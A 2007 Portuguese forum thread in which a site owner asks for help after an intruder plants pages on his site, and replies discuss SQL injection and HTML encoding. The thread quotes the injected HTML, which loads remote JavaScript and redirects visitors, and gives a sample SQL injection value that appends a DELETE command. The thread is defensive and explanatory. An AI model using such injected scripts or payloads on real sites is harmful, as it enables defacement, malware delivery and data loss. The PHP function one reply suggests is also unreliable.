Sql Injection

matrix2003 · Maio 1, 2007

pessoal preciso de uma ajuda muito dos brilhantes deste forum tem um engraçadinho dono da www.hostmega.com que esta colocando em meu site em todas as paginas varias paginas tipo default.asp index.asp e outras com o seguinte conteudo

CODE

<html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>Provedor de Hospedagem de Sites e revenda de hospedagem.</title></head><script type='text/javascript' src='http://www.tce.rn.gov.br/sitenovo/03.js'></script><body></body><script> window.location="http://www.hostmega.com/"; </script>

Sera que existe uma forma de poder parar este engraçadinho e colocando também virus alguém pdoe em dar uma ideia tipo um comando que resolveria o sql acho que é sql pois ele consegui em todas as paginas colocar arquivos paginas o que quizer me ajudem

Espartaco · Maio 2, 2007

Acho que ele não faz isso manualmente, é o próprio IIS que tem uma configuração pra isso...

Maio 3, 2007

pessoal preciso de uma ajuda muito dos brilhantes deste forum tem um engraçadinho dono da www.hostmega.com que esta colocando em meu site em todas as paginas varias paginas tipo default.asp index.asp e outras com o seguinte conteudo
CODE
<html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>Provedor de Hospedagem de Sites e revenda de hospedagem.</title></head><script type='text/javascript' src='http://www.tce.rn.gov.br/sitenovo/03.js'></script><body></body><script> window.location="http://www.hostmega.com/"; </script>
Sera que existe uma forma de poder parar este engraçadinho e colocando também virus alguém pdoe em dar uma ideia tipo um comando que resolveria o sql acho que é sql pois ele consegui em todas as paginas colocar arquivos paginas o que quizer me ajudem

Matrix2003,

Não creio que seja SQL injection. SQL Injection pode ser evitada incluindo o caractere "escape" da linguagem que você esteja utilizando. Por exemplo, PHP utiliza "\" (barra invertida) para dizer que o próximo caractere faz parte da string. P ex.: "O \"mundo\" é Azul" --> O "mundo" é Azul.

Já o VBasic você precisa fazer o seguinte: "O ""mundo"" é Azul" --> O "mundo" é Azul. A grande sacado do SQL Injection é que ele se utiliza da formação da string para realizar um ataque no Banco de Dados. Os comandos SQL são strings. Quando você tem um campo do tipo string na tabela, e precisa fazer um INSERT, você faz: "INSERT INTO tabela VALUES 'Valor'". Note a aspa simples envolta de "Valor". Imagine que o valor é determinado por uma caixa de texto no formulário. Você faria assim: "INSERT INTO tabela VALUES '" & CAIXATEXTO.Value & "'". Agora é que ocorre o problema. No SQL o delimitador de String é o caractere "'" (Aspa simples). Se você acrescentar na sua CAIXATEXTO o valor {"Valor'; DELETE FROM tabela WHERE campo LIKE '%"} (Sem as chaves), você estaria exectando dois comandos SQL:

INSERT INTO tabela VALUES 'Valor';

DELETE FROM tabela WHERE campo LIKE '%'

Entendido?

No seu caso, o problema é mais simples. Na caixa de texto, o engraçadinho deve estar colocando os caracteres "<" e ">" e quando esse conteúdo é impresso no Site, o browser, logicamente, interpreta como HTML. O que você deve fazer é imprimir no Site o equivalente imprimível de "<" e ">". Se não me falha a memória o comando é o seguinte no PHP: <?php=html_encode(string) ?>. No VBScript tem um comando semelhante que esqueci qual é. Procura na Net por "HTML ENCODE ASP" que você ahca alguma coisa a respeito.

Espero ter ajudado.

bareta · Maio 5, 2007

seu site esta hospedado lá????

entaum mude de host....

pelo jeito não é questão de forms....

Entrar

Sql Injection

Pergunta

matrix2003

Link para o comentário

Compartilhar em outros sites

3 respostass a esta questão

Posts Recomendados

Espartaco

Link para o comentário

Compartilhar em outros sites

Guest Rolf Ezequiel

Link para o comentário

Compartilhar em outros sites

bareta

Link para o comentário

Compartilhar em outros sites

Participe da discussão

Estatísticas dos Fóruns

Navegação

Atividades